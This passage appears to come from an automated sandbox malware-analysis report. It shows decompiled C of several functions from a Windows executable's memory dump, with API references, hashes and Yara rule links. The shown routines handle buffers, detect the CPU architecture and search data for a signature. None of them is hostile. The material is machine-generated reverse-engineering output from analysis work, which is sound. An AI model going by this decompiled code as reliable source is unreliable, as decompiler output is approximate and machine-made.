										__eflags = _t128 - _a4;
										if(_t128 == _a4) {
											L28:
											__eflags =  *((intOrPtr*)(_t181 + 0x134)) - _t150;
											if( *((intOrPtr*)(_t181 + 0x134)) == _t150) {
												 *((char*)(_t181 + 0x131)) = 1;
											}
											_push(_t150);
											_v20 = _t150;
											E004192D4( &_v24, _t182, _v32, _v12);
											_t163 =  *((intOrPtr*)(_t182 + 0x38));
											_v16 = _t150;
											_v12 = _t150;
											_v8 = _t150;
											_t130 = E00418FB1( *((intOrPtr*)(_t182 + 0x38)));
											__eflags = _t130 - 1;
											if(_t130 != 1) {
												L32:
												__eflags = _t130 - 0x17;
												if(_t130 != 0x17) {
													goto L27;
												}
												__eflags = _t179 - _t150;
												if(__eflags != 0) {
													goto L27;
												}
												_push(_a20);
												_push(_a16);
												_t163 = _t182;
												_push(_a12);
												_t134 = E0041A63E(_t182, _t179, __eflags,  *((intOrPtr*)(_t181 + 0xf0)),  *((intOrPtr*)(_t181 + 0xf4)), _t181 + 0x100,  &_v16, _a8);
												_a4 = _t134;
												__eflags = _t134 - _t150;
												if(_t134 == _t150) {
													__eflags = _v12 - _t150;
													if(_v12 != _t150) {
														__eflags = _v12 - 1;
														if(_v12 > 1) {
															goto L27;
														}
														E00418E1D( &_v24);
														E004192FE(_t182,  *_v16);
														_t163 =  *((intOrPtr*)(_t182 + 0x38));
														_t138 = E00418FB1( *((intOrPtr*)(_t182 + 0x38)));
														__eflags = _t138 - 1;
														if(_t138 != 1) {
															goto L27;
														}
														__eflags = _t179 - _t150;
														if(_t179 != _t150) {
															goto L27;
														}
														L41:
														 *((char*)(_t181 + 0x130)) = 1;
														 *((intOrPtr*)(_t181 + 0x120)) =  *((intOrPtr*)(_t182 + 0x70));
														 *((intOrPtr*)(_t181 + 0x124)) =  *((intOrPtr*)(_t182 + 0x74));
														_t141 = E0041A836(_t182, _t179, _t181, _a8, _a12, _a16, _a20);
														E0041969C( &_v16);
														E00418E1D( &_v24);
														_push(_v32);
														L0041C160();
														return _t141;
													}
													E0041969C( &_v16);
													E00418E1D( &_v24);
													L25:
													_push(_v32);
													L0041C160();
													return _t150;
												}
												E0041969C( &_v16);
												E00418E1D( &_v24);
												_t150 = _a4;
												goto L25;
											}
											__eflags = _t179 - _t150;
											if(_t179 == _t150) {
												goto L41;
											}
											goto L32;
										}
										L27:
										E00418DE4(_t163, _t181);
										goto L28;
									}
									_t150 = _t127;
									goto L25;
								}
								goto L22;
							} else {
								if(__eflags < 0) {
									L15:
									 *((char*)(_t181 + 0x133)) = 1;
									goto L16;
								}
								__eflags = _t159 - _v32;
								if(_t159 >= _v32) {
									goto L19;
								}
								goto L15;
							}
						}
						if((_t176 | _v20) != 0) {
							goto L17;
						}
						 *((char*)(_t181 + 0x130)) = 1;
						return _t108;
					}
				}
			}

0x0041ae0b
0x0041ae0e
0x0041ae12
0x0041ae1a
0x0041ae23
0x0041ae2c
0x0041ae35
0x0041ae37
0x0041ae43
0x0041af36
0x0041af36
0x0041af36
0x0041af38
0x0041af38
0x0041af38
0x00000000
0x0041af38
0x0041ae4f
0x0041ae52
0x0041ae58
0x0041ae5e
0x0041ae64
0x0041ae6d
0x0041ae6f
0x0041ae72
0x0041ae78
0x0041ae7e
0x0041ae88
0x0041ae8e
0x0041ae94
0x0041ae97
0x00000000
0x0041aea7
0x0041aea7
0x0041aeae
0x00000000
0x0041aebb
0x0041aebe
0x0041aec1
0x0041aed1
0x0041aed7
0x0041aed9
0x0041aed9
0x0041aee9
0x0041aeeb
0x0041aef1
0x0041aef4
0x0041aef6
0x0041aef9
0x0041aefc
0x0041af04
0x0041af06
0x0041af0c
0x0041af15
0x0041af1e
0x0041af24
0x0041af26
0x0041af40
0x0041af40
0x0041af4e
0x0041af51
0x0041af53
0x0041af3d
0x0041af3d
0x0041af55
0x0041af58
0x0041af5a
0x0041af61
0x00000000
0x0041af61
0x0041af5c
0x0041af5f
0x0041af68
0x0041af6b
0x0041af78
0x0041af7b
0x0041af80
0x0041af82
0x0041af93
0x0041af96
0x0041af99
0x0041af9e
0x0041afa1
0x0041afa8
0x0041afa8
0x0041afae
0x0041afb0
0x0041afb0
0x0041afb7
0x0041afc1
0x0041afc6
0x0041afcb
0x0041afce
0x0041afd1
0x0041afd4
0x0041afd7
0x0041afdc
0x0041afdf
0x0041afe9
0x0041afe9
0x0041afec
0x00000000
0x00000000
0x0041afee
0x0041aff0
0x00000000
0x00000000
0x0041aff2
0x0041aff8
0x0041affb
0x0041affd
0x0041b017
0x0041b01c
0x0041b01f
0x0041b021
0x0041b03b
0x0041b03e
0x0041b055
0x0041b059
0x00000000
0x00000000
0x0041b062
0x0041b070
0x0041b075
0x0041b078
0x0041b07d
0x0041b080
0x00000000
0x00000000
0x0041b086
0x0041b088
0x00000000
0x00000000
0x0041b08e
0x0041b091
0x0041b0a1
0x0041b0b0
0x0041b0b6
0x0041b0c0
0x0041b0c8
0x0041b0cd
0x0041b0d0
0x00000000
0x0041b0d6
0x0041b043
0x0041b04b
0x0041af86
0x0041af86
0x0041af89
0x00000000
0x0041af8f
0x0041b026
0x0041b02e
0x0041b033
0x00000000
0x0041b033
0x0041afe1
0x0041afe3
0x00000000
0x00000000
0x00000000
0x0041afe3
0x0041afa3
0x0041afa3
0x00000000
0x0041afa3
0x0041af84
0x00000000
0x0041af84
0x00000000
0x0041af28
0x0041af28
0x0041af2f
0x0041af2f
0x00000000
0x0041af2f
0x0041af2a
0x0041af2d
0x00000000
0x00000000
0x00000000
0x0041af2d
0x0041af26
0x0041aec6
0x00000000
0x00000000
0x0041aec8
0x00000000
0x0041aec8
0x0041aeae

APIs

Part of subcall function 00418567: ??3@YAXPAX@Z.MSVCRT ref: 00418597
Part of subcall function 00418567: ??3@YAXPAX@Z.MSVCRT ref: 004185A8

??2@YAPAXI@Z.MSVCRT ref: 0041AF6B
??3@YAXPAX@Z.MSVCRT ref: 0041AF89
??3@YAXPAX@Z.MSVCRT ref: 0041B0D0

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID:
API String ID: 4113381792-0
Opcode ID: ba04f5ec6f22fd13dcbc83abe88cd386c8b6c2426f0760ab673ff78b0f27cfa3
Instruction ID: 7441eaed24261cedb068acf738b6ac121ac43d6cfe962bcb2839a80aef5be465
Opcode Fuzzy Hash: ba04f5ec6f22fd13dcbc83abe88cd386c8b6c2426f0760ab673ff78b0f27cfa3
Instruction Fuzzy Hash: 4C918C70A01606AFCF25DFA4C590AEEFBB1BF08304F10452EE45593311D779AAA1CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00419328, Relevance: 4.6, APIs: 3, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419328(void* __ecx, void* __eflags, intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				void* __esi;
				signed int _t44;
				void* _t46;
				intOrPtr* _t48;
				signed int _t49;
				void* _t50;
				signed int _t53;
				signed int _t54;
				void* _t56;
				intOrPtr* _t58;
				void* _t60;
				signed int _t64;
				signed int _t66;
				signed int _t69;
				signed int _t73;
				signed int _t81;
				signed int _t84;
				void* _t85;
				void* _t88;
				void* _t98;
				signed int _t101;
				void* _t103;
				signed int _t105;
				void* _t106;
				void* _t107;

				_t60 = __ecx;
				_t98 = __ecx + 0x50;
				_t44 = E0041670E(0x20); // executed
				if(_t44 == 0) {
					if(E00419037(_t98) == 0) {
						_t46 = _a8;
						__eflags = _t46;
						if(_t46 == 0) {
							L7:
							_push(0x8000); // executed
							L0041C16C(); // executed
							_v24 = _v24 & 0x00000000;
							_t7 =  &_v20;
							 *_t7 = _v20 & 0x00000000;
							__eflags =  *_t7;
							_t88 = _t46;
							_v12 = _t88;
							_t64 = 8;
							memcpy(_t88, _t98, _t64 << 2);
							_t107 = _t106 + 0xc;
							while(1) {
								_t66 = _a8;
								_t81 = 0x7fe0;
								__eflags = _t66;
								if(_t66 == 0) {
									goto L13;
								}
								_t53 =  *_t66 - _v24;
								asm("sbb ecx, [ebp-0x10]");
								__eflags =  *(_t66 + 4);
								if(__eflags > 0) {
									goto L13;
								} else {
									if(__eflags < 0) {
										L12:
										_t81 = _t53;
										__eflags = _t53;
										if(_t53 == 0) {
											L30:
											_t101 = 1;
											__eflags = 1;
										} else {
											goto L13;
										}
									} else {
										__eflags = _t53 - 0x7fe0;
										if(_t53 >= 0x7fe0) {
											goto L13;
										} else {
											goto L12;
										}
									}
								}
								L31:
								_push(_v12);
								L0041C160();
								_t44 = _t101;
								goto L3;
								L13:
								_t48 = _a4;
								_v8 = _v8 & 0x00000000;
								_t49 =  *((intOrPtr*)( *_t48 + 0xc))(_t48, _v12 + 0x20, _t81,  &_v8);
								__eflags = _t49;
								if(_t49 != 0) {
									L33:
									_t101 = _t49;
								} else {
									_t69 = _v8;
									__eflags = _t69;
									if(_t69 == 0) {
										goto L30;
									} else {
										_t84 = 0;
										__eflags = 0;
										while(1) {
											_t50 = _v12;
											_t103 = _t50 + _t84 + 1;
											_t85 = _t50 + _t69;
											__eflags = _t103 - _t85;
											if(_t103 > _t85) {
												break;
											} else {
												goto L17;
											}
											while(1) {
												L17:
												__eflags =  *_t103 - 0x37;
												if( *_t103 == 0x37) {
													break;
												}
												__eflags =  *(_t103 + 1) - 0x37;
												if( *(_t103 + 1) == 0x37) {
													_t103 = _t103 + 1;
												} else {
													__eflags =  *(_t103 + 2) - 0x37;
													if( *(_t103 + 2) == 0x37) {
														_t103 = _t103 + 2;
													} else {
														__eflags =  *(_t103 + 3) - 0x37;
														if( *(_t103 + 3) == 0x37) {
															_t103 = _t103 + 3;
															__eflags = _t103;
														} else {
															_t103 = _t103 + 4;
															__eflags = _t103 - _t85;
															if(_t103 <= _t85) {
																continue;
															} else {
															}
														}
													}
												}
												break;
											}
											__eflags = _t103 - _t85;
											if(_t103 > _t85) {
												break;
											} else {
												_v16 = _t103 - _t50;
												_t54 = E00419037(_t103);
												__eflags = _t54;
												if(_t54 != 0) {
													_t73 = 8;
													_t56 = memcpy(_t60 + 0x50, _t103, _t73 << 2);
													asm("adc ecx, [ebp-0x10]");
													 *((intOrPtr*)(_t60 + 0x40)) =  *((intOrPtr*)(_t60 + 0x40)) + _t56 + _v24;
													_t58 = _a4;
													asm("adc [ebx+0x44], ecx");
													_t105 =  *((intOrPtr*)(_t60 + 0x40)) + 0x20;
													__eflags = _t105;
													asm("adc edi, ecx");
													_t49 =  *((intOrPtr*)( *_t58 + 0x10))(_t58, _t105,  *((intOrPtr*)(_t60 + 0x44)), 0, 0);
													goto L33;
												} else {
													_t69 = _v8;
													_t84 = _v16;
													continue;
												}
											}
											goto L31;
										}
										_v24 = _v24 + _t69;
										asm("adc dword [ebp-0x10], 0x0");
										memmove(_t50, _t50 + _t69, 0x20);
										_t107 = _t107 + 0xc;
										continue;
									}
								}
								goto L31;
							}
						} else {
							__eflags =  *_t46 |  *(_t46 + 4);
							if(( *_t46 |  *(_t46 + 4)) != 0) {
								goto L7;
							} else {
								_t44 = 1;
							}
						}
					} else {
						_t44 = 0;
					}
				}
				L3:
				return _t44;
			}

0x0041932f
0x00419335
0x0041933c
0x00419343
0x0041934c
0x00419356
0x00419359
0x0041935b
0x00419369
0x0041936a
0x0041936f
0x00419374
0x00419378
0x00419378
0x00419378
0x0041937d
0x00419381
0x00419384
0x00419385
0x00419385
0x0041938c
0x0041938c
0x0041938f
0x00419391
0x00419393
0x00000000
0x00000000
0x00419397
0x0041939d
0x004193a0
0x004193a2
0x00000000
0x004193a4
0x004193a4
0x004193aa
0x004193aa
0x004193ac
0x004193ae
0x0041944e
0x00419450
0x00419450
0x00000000
0x00000000
0x00000000
0x004193a6
0x004193a6
0x004193a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004193a8
0x004193a4
0x00419451
0x00419451
0x00419454
0x0041945a
0x00000000
0x004193b4
0x004193b4
0x004193b9
0x004193ca
0x004193cd
0x004193cf
0x00419495
0x00419495
0x004193d5
0x004193d5
0x004193d8
0x004193da
0x00000000
0x004193dc
0x004193dc
0x004193dc
0x004193de
0x004193de
0x004193e1
0x004193e5
0x004193e8
0x004193ea
0x00000000
0x00000000
0x00000000
0x00000000
0x004193ec
0x004193ec
0x004193ec
0x004193ef
0x00000000
0x00000000
0x004193f1
0x004193f5
0x0041940c
0x004193f7
0x004193f7
0x004193fb
0x0041940f
0x004193fd
0x004193fd
0x00419401
0x00419414
0x00419414
0x00419403
0x00419403
0x00419406
0x00419408
0x00000000
0x00000000
0x0041940a
0x00419408
0x00419401
0x004193fb
0x00000000
0x004193f5
0x00419417
0x00419419
0x00000000
0x0041941b
0x0041941f
0x00419422
0x00419427
0x00419429
0x00419467
0x0041946b
0x00419472
0x00419475
0x0041947b
0x0041947e
0x00419489
0x00419489
0x0041948d
0x00419492
0x00000000
0x0041942b
0x0041942b
0x0041942e
0x00000000
0x0041942e
0x00419429
0x00000000
0x00419419
0x00419433
0x00419438
0x00419440
0x00419446
0x00000000
0x00419446
0x004193da
0x00000000
0x004193cf
0x0041935d
0x0041935f
0x00419362
0x00000000
0x00419364
0x00419366
0x00419366
0x00419362
0x0041934e
0x0041934e
0x0041934e
0x0041934c
0x00419350
0x00419353

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041936F
memmove.MSVCRT ref: 00419440
??3@YAXPAX@Z.MSVCRT ref: 00419454

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: a2b5249015b693312b776ec4cecfc9c29c3a0b3e0d8de30eab162b2433da8b2e
Instruction ID: e12da01f2eb493b1a38a8d6fc4e21457148e6801041be196bfadcbe32c4ccdd3
Opcode Fuzzy Hash: a2b5249015b693312b776ec4cecfc9c29c3a0b3e0d8de30eab162b2433da8b2e
Instruction Fuzzy Hash: A051D471E04115ABEF28CA54C864AEF77B5AF49304F14806EDC1AA7381D779ED82C798

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7F, Relevance: 4.6, APIs: 3, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00404D7F(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				char* _v12;
				char* _v16;
				char* _v20;
				char _v32;
				char _v44;
				char _v56;
				void* _t46;
				void* _t54;
				char** _t61;
				void* _t67;
				char** _t74;
				void* _t79;
				char* _t102;
				char* _t105;
				void* _t107;
				char** _t108;
				char** _t109;

				_t107 = __edx;
				_v8 = __ecx;
				_t46 = E00403ECA(); // executed
				if(_t46 == 0) {
					_v20 = "x86";
					_v16 = "i386";
					goto L5;
				} else {
					_t114 = _t46 - 9;
					if(_t46 == 9) {
						_v20 = "x64";
						_v16 = "amd64";
						L5:
						_v12 = 0;
					} else {
						_v20 = 0;
					}
				}
				E004143C2(E004143C2(E004143C2(_t46,  &_v56),  &_v44),  &_v32);
				_t79 = 0;
				E00403F60(0, 0,  &_v56,  &_v44);
				_t54 = E004030D6(_v8, _v56, _t114, _v44,  &_v32); // executed
				if(_t54 != 0) {
					_t79 = 1;
				}
				E0041447C(_t107,  &_v32);
				_t102 = _v20;
				_t108 =  &_v20;
				while(1) {
					_push( &_v44);
					_push( &_v56);
					_t117 = _t102;
					if(_t102 == 0) {
						break;
					}
					E00403F60(0, _t102);
					_t61 = E004030D6(_v8, _v56, __eflags, _v44,  &_v32); // executed
					__eflags = _t61;
					if(_t61 != 0) {
						__eflags =  *(_t107 + 4);
						if(__eflags != 0) {
							E004144C5(_t107, "\r\n");
						}
						E004144FB(_t107, __eflags,  &_v32);
						_t79 = 1;
					}
					_t108 =  &(_t108[1]);
					__eflags = _t108;
					_t102 =  *_t108;
				}
				E00403F60( *0x422730 & 0x0000ffff, _t102);
				_t67 = E004030D6(_v8, _v56, _t117, _v44,  &_v32); // executed
				_t118 = _t67;
				if(_t67 != 0) {
					_t79 = 1;
				}
				E004144FB(_t107, _t118,  &_v32);
				_t105 = _v20;
				_t109 =  &_v20;
				while(_t105 != 0) {
					E00403F60( *0x422730 & 0x0000ffff, _t105,  &_v56,  &_v44);
					_t74 = E004030D6(_v8, _v56, __eflags, _v44,  &_v32); // executed
					__eflags = _t74;
					if(_t74 != 0) {
						__eflags =  *(_t107 + 4);
						if(__eflags != 0) {
							E004144C5(_t107, "\r\n");
						}
						E004144FB(_t107, __eflags,  &_v32);
						_t79 = 1;
					}
					_t109 =  &(_t109[1]);
					__eflags = _t109;
					_t105 =  *_t109;
				}
				_push(_v32);
				L0041C160();
				_push(_v44);
				L0041C160();
				_push(_v56);
				L0041C160();
				return _t79;
			}

0x00404d88
0x00404d8a
0x00404d8d
0x00404d96
0x00404db2
0x00404db9
0x00000000
0x00404d98
0x00404d98
0x00404d9b
0x00404da2
0x00404da9
0x00404dc0
0x00404dc0
0x00404d9d
0x00404d9d
0x00404d9d
0x00404d9b
0x00404dd6
0x00404de7
0x00404de9
0x00404dfb
0x00404e02
0x00404e04
0x00404e04
0x00404e0c
0x00404e11
0x00404e14
0x00404e5a
0x00404e5d
0x00404e61
0x00404e62
0x00404e64
0x00000000
0x00000000
0x00404e1b
0x00404e2d
0x00404e32
0x00404e34
0x00404e36
0x00404e3a
0x00404e43
0x00404e43
0x00404e4e
0x00404e53
0x00404e53
0x00404e55
0x00404e55
0x00404e58
0x00404e58
0x00404e6d
0x00404e7f
0x00404e84
0x00404e86
0x00404e88
0x00404e88
0x00404e90
0x00404e95
0x00404e98
0x00404eeb
0x00404eac
0x00404ebe
0x00404ec3
0x00404ec5
0x00404ec7
0x00404ecb
0x00404ed4
0x00404ed4
0x00404edf
0x00404ee4
0x00404ee4
0x00404ee6
0x00404ee6
0x00404ee9
0x00404ee9
0x00404eef
0x00404ef2
0x00404ef7
0x00404efa
0x00404eff
0x00404f02
0x00404f10

APIs

Part of subcall function 00403ECA: GetProcAddress.KERNEL32(GetNativeSystemInfo), ref: 00403EDB
Part of subcall function 00403ECA: GetNativeSystemInfo.KERNELBASE(?,?,?,00403EFA,004060E6,00000001,00000001,00000000,?,00000000), ref: 00403EE9

??3@YAXPAX@Z.MSVCRT ref: 00404EF2
??3@YAXPAX@Z.MSVCRT ref: 00404EFA
??3@YAXPAX@Z.MSVCRT ref: 00404F02

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$AddressInfoNativeProcSystem
String ID:
API String ID: 3731959171-0
Opcode ID: ab354cc5e28bab190b208fe8dee5894adaf34b6abae77628a8cceaf9d6bd5a61
Instruction ID: 22c72f549c8d9d607ce2050e0226bf1ce9e8af4da17dc6dbc20fb89fd3f62798
Opcode Fuzzy Hash: ab354cc5e28bab190b208fe8dee5894adaf34b6abae77628a8cceaf9d6bd5a61
Instruction Fuzzy Hash: 164132B1E0110EAACF04EF95C8819EFB77ABF84308F14412BE51577295DB3C5A46CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00414864, Relevance: 4.5, APIs: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00414864(void** __ecx, void* _a4) {
				void* _t20;
				signed int _t31;
				void** _t33;
				void* _t34;
				void* _t35;
				void* _t40;

				_t35 = _a4;
				_t34 = 0;
				_t33 = __ecx;
				if( *_t35 != 0) {
					do {
						_t34 = _t34 + 1;
					} while ( *((short*)(_t35 + _t34 * 2)) != 0);
				}
				_t40 = _t34 - _t33[2];
				if(_t40 > 0) {
					_t31 = 2;
					_t20 = (_t34 + 1) * _t31;
					_push( ~(0 | _t40 > 0x00000000) | _t20); // executed
					L0041C16C(); // executed
					_push( *_t33);
					L0041C160();
					 *_t33 = _t20;
					_t33[2] = _t34;
				}
				_t33[1] = _t34;
				memcpy( *_t33, _t35, _t34 + _t34 + 2);
				return _t33;
			}

0x00414865
0x0041486a
0x0041486d
0x00414873
0x00414875
0x00414875
0x00414876
0x00414875
0x0041487e
0x00414881
0x00414888
0x0041488c
0x00414895
0x00414896
0x0041489b
0x0041489f
0x004148a6
0x004148a8
0x004148ab
0x004148b4
0x004148b7
0x004148c4

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414896
??3@YAXPAX@Z.MSVCRT ref: 0041489F
memcpy.MSVCRT ref: 004148B7

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpy
String ID:
API String ID: 1695611338-0
Opcode ID: cc26054cedb3141646bbc3c691cf70701c6d8f4186f96d611e94e3a5490a9643
Instruction ID: 41b234041f6f91087d42b0e57e97fd4fa0d4009db4bb1be59154aa6f59a166d2
Opcode Fuzzy Hash: cc26054cedb3141646bbc3c691cf70701c6d8f4186f96d611e94e3a5490a9643
Instruction Fuzzy Hash: A4F028776402157BC714AF66DC4189BF7B8FB84750B10C53FF11983241E774E8908B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041B15E, Relevance: 4.5, APIs: 3, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041B15E(void** __ecx) {
				unsigned int _t13;
				void* _t15;
				signed int _t16;
				void* _t19;
				signed int _t30;
				signed int _t33;
				void** _t35;
				void* _t38;

				_t35 = __ecx;
				_t1 =  &(_t35[2]); // 0xb8
				_t13 =  *_t1;
				_t38 = __ecx[1] - _t13;
				if(_t38 == 0) {
					_t4 = _t13 + 1; // 0xb9
					_t33 = (_t13 >> 2) + _t4;
					_t30 = 4;
					_t15 = _t33 * _t30;
					_push( ~(0 | _t38 > 0x00000000) | _t15); // executed
					L0041C16C(); // executed
					_t19 = _t15;
					_t11 =  &(_t35[1]); // 0xa1
					_t16 =  *_t11;
					if(_t16 != 0) {
						_t16 = memcpy(_t19,  *__ecx, _t16 << 2);
					}
					_push( *_t35);
					L0041C160();
					_t35[2] = _t33;
					 *_t35 = _t19;
					return _t16;
				}
				return _t13;
			}

0x0041b15f
0x0041b161
0x0041b161
0x0041b164
0x0041b167
0x0041b170
0x0041b170
0x0041b178
0x0041b17b
0x0041b184
0x0041b185
0x0041b18a
0x0041b18c
0x0041b18c
0x0041b192
0x0041b19b
0x0041b1a0
0x0041b1a3
0x0041b1a5
0x0041b1ab
0x0041b1af
0x00000000
0x0041b1b1
0x0041b1b3

APIs

??2@YAPAXI@Z.MSVCRT ref: 0041B185
memcpy.MSVCRT ref: 0041B19B
??3@YAXPAX@Z.MSVCRT ref: 0041B1A5

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpy
String ID:
API String ID: 1695611338-0
Opcode ID: 91c820cf10390928d26acf8c173fe49508c3b57a2df9f472010eb66c9cb0f426
Instruction ID: f77cdbf6906714633c75e9a2ae5cc25cbcb182668cea9c8853bdfda8a470c8a2
Opcode Fuzzy Hash: 91c820cf10390928d26acf8c173fe49508c3b57a2df9f472010eb66c9cb0f426
Instruction Fuzzy Hash: 52F0E9723402016BD7385B2DEC929A7F3E9DF88754314852FF54AC6291DAB59C808A58

Uniqueness

Uniqueness Score: -1.00%

Function 00402565, Relevance: 4.5, APIs: 3, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402565(intOrPtr* __ecx, signed char _a4) {
				intOrPtr* _t9;

				_t9 = __ecx;
				_t1 = _t9 + 0xc; // 0x9deb28
				_push( *_t1);
				L0041C160();
				_push( *__ecx); // executed
				L0041C160(); // executed
				if((_a4 & 0x00000001) != 0) {
					_push(__ecx);
					L0041C160();
				}
				return _t9;
			}

0x00402566
0x00402568
0x00402568
0x0040256b
0x00402570
0x00402572
0x0040257e
0x00402580
0x00402581
0x00402586
0x0040258a

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040256B
??3@YAXPAX@Z.MSVCRT ref: 00402572
??3@YAXPAX@Z.MSVCRT ref: 00402581

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 7dbb93740365e90a040355f991de0436f65578732d95a5632698f13562009b00
Instruction ID: 334385da2bad53f91c1efd3fd60114aff8a744570c2a42595eac9cdc1e1cb50b
Opcode Fuzzy Hash: 7dbb93740365e90a040355f991de0436f65578732d95a5632698f13562009b00
Instruction Fuzzy Hash: 0FD022362882743AD2253614FC42ACBA7E08F00B28F20092FF880600D38FEA2CC04A8C

Uniqueness

Uniqueness Score: -1.00%

Function 004030D6, Relevance: 3.9, APIs: 3, Instructions: 125
stringCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004030D6(intOrPtr* __ecx, CHAR* __edx, void* __eflags, CHAR* _a4, intOrPtr* _a8) {
				char _v5;
				intOrPtr* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				CHAR* _v32;
				int _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				intOrPtr* _v52;
				void _v4148;
				intOrPtr* _t66;
				intOrPtr _t73;
				intOrPtr _t74;
				intOrPtr* _t81;
				char _t83;
				intOrPtr* _t86;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr* _t104;
				int _t108;
				void* _t111;
				void* _t112;

				_t86 = __ecx;
				E0041C1C0(0x1030, __ecx);
				_t104 = _t86;
				_v32 = __edx;
				_v52 = _t104;
				 *((intOrPtr*)( *_t104 + 0x10))(_t104, 0, 0, 0, 0);
				_t66 = _a8;
				 *((intOrPtr*)(_t66 + 4)) = 0;
				 *((char*)( *_t66)) = 0;
				_v20 = lstrlenA(_v32);
				_v36 = lstrlenA(_a4);
				_t108 = 0;
				_v5 = 0;
				_v28 = 0;
				_v24 = 0;
				while(1) {
					L2:
					_push( &_v48);
					_push(0x1000 - _t108);
					_push(_t111 + _t108 - 0x1030);
					_push(_t104); // executed
					if( *((intOrPtr*)( *_t104 + 0xc))() != 0) {
						break;
					}
					_t73 = _v48;
					if(_t73 == 0) {
						break;
					}
					_t74 = _t73 + _t108;
					_v44 = _t74;
					_v16 = 0;
					_v12 =  &_v4148;
					while(1) {
						L5:
						_t92 = _v16;
						_t99 = _t74;
						if(_v5 == 0) {
							break;
						}
						if(_t92 > _t99 - _v36) {
							L14:
							_v28 = _v28 + _t92;
							_t108 = _t74 - _t92;
							asm("adc [ebp-0x14], ebx");
							memmove( &_v4148, _t111 + _t92 - 0x1030, _t108);
							_t112 = _t112 + 0xc;
							if(_v24 > 0 || _v28 > 0x100000) {
								return 0 |  *((intOrPtr*)(_a8 + 4)) != 0x00000000;
							} else {
								_t104 = _v52;
								goto L2;
							}
						}
						_t81 = _v12;
						asm("repe cmpsb");
						if(0 == 0) {
							return 1;
						}
						_t83 =  *_t81;
						_v40 = _t83;
						if(_t83 == 0) {
							goto L18;
						}
						E00402F9F(_a8, _v40);
						_v16 = _v16 + 1;
						_v12 = _v12 + 1;
						_t74 = _v44;
					}
					if(_t92 > _t99 - _v20) {
						goto L14;
					}
					asm("repe cmpsb");
					if(0 != 0) {
						_v16 = _v16 + 1;
						_v12 = _v12 + 1;
					} else {
						_t95 = _v20;
						_v16 = _v16 + _t95;
						_v12 = _v12 + _t95;
						_v5 = 1;
					}
					goto L5;
				}
				L18:
				return 0;
			}

0x004030d6
0x004030de
0x004030eb
0x004030f1
0x004030f4
0x004030f7
0x004030fa
0x00403106
0x0040310b
0x00403112
0x00403117
0x0040311a
0x0040311c
0x0040311f
0x00403122
0x0040312a
0x0040312a
0x0040312f
0x00403137
0x0040313f
0x00403140
0x00403146
